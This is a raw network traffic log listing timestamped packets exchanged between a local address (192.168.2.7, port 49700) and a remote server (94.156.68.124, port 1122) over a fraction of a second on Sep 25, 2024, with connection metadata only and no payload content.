Sep 25, 2024 01:11:10.661685944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661755085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661792994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661865950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661940098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661952019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661983013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662130117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662142038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662154913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662168026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662169933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662198067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662364006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662408113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662472963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662484884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662497997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662520885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662791967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662831068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.662842035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662853956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.662897110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.668432951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668466091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668478966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668509960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.668622017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668634892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668648958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668659925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668662071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.668699980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.668868065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.668909073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.668919086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.669001102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.669013023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.669023991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.669049025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.669071913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.781631947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781651020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781663895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781704903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781717062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781729937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781729937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.781743050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781774044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.781935930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781980038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.781982899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782037973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782074928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782150984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782164097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782176971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782193899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782270908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782310009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782346964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782360077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782403946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782538891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782551050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782562017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782586098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782669067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782704115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782753944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782766104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782812119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.782967091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782978058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.782989025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783001900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783020973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783041954 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783204079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783266068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783277035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783288956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783308029 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783476114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783502102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783567905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783581018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783605099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783719063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783730984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783756971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.783803940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783814907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.783842087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785044909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785093069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785125971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785142899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785156012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785180092 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785197973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785235882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785331964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785345078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785356045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785377026 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785464048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785501003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785557032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785665989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785676956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785689116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785701036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785725117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785895109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785907030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785918951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785928965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.785943985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.785969019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.786545038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786619902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786632061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786662102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.786686897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786720991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.786758900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786771059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786808014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.786901951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786914110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786926031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786937952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.786948919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.786982059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787134886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787242889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787252903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787264109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787275076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787281036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787286997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787298918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787307024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787328959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787619114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787667990 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787673950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787687063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787722111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787817955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787830114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787842035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787853956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.787867069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.787888050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788091898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788103104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788114071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788126945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788139105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788140059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788151026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788162947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788167000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788187981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788594007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788638115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788665056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788677931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788724899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788805962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788817883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788830042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788841009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.788853884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.788876057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.789074898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789087057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789098978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789109945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789120913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789125919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.789133072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789144039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.789146900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.789180040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.837181091 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.860673904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860698938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860713959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860734940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860747099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860760927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860773087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.860781908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.860835075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861017942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861032009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861061096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861149073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861164093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861188889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861279964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861325026 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861362934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861376047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861388922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861401081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861413002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861414909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861438036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861748934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861762047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861774921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861788034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861793995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861799002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.861809969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.861844063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868374109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868405104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868415117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868479967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868531942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868545055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868556976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868576050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868590117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868746996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868760109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868796110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868839979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868851900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868864059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.868907928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.868969917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869020939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869095087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869112968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869126081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869138956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869152069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869158030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869174004 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869429111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869441032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869453907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869466066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869467974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869478941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869492054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869517088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869679928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869826078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869838953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869849920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869862080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869868040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869875908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869884014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869889975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869901896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869910002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869915009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869927883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869940042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.869946957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.869961023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.870513916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870527983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870539904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870552063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870553970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.870563984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870574951 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.870583057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.870600939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.871825933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.871887922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.871890068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.871901989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.871939898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872009993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872024059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872036934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872049093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872057915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872096062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872230053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872307062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872348070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872406960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872419119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872430086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872442007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872451067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872477055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872637987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872651100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872684956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872715950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872730017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872745991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872756958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872767925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872767925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872781992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872793913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.872797966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.872827053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873276949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873289108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873301983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873312950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873320103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873327017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873337030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873342037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873361111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873723030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873735905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873748064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873759031 CEST	49700	1122	192.168.2.7	94.156.68.124
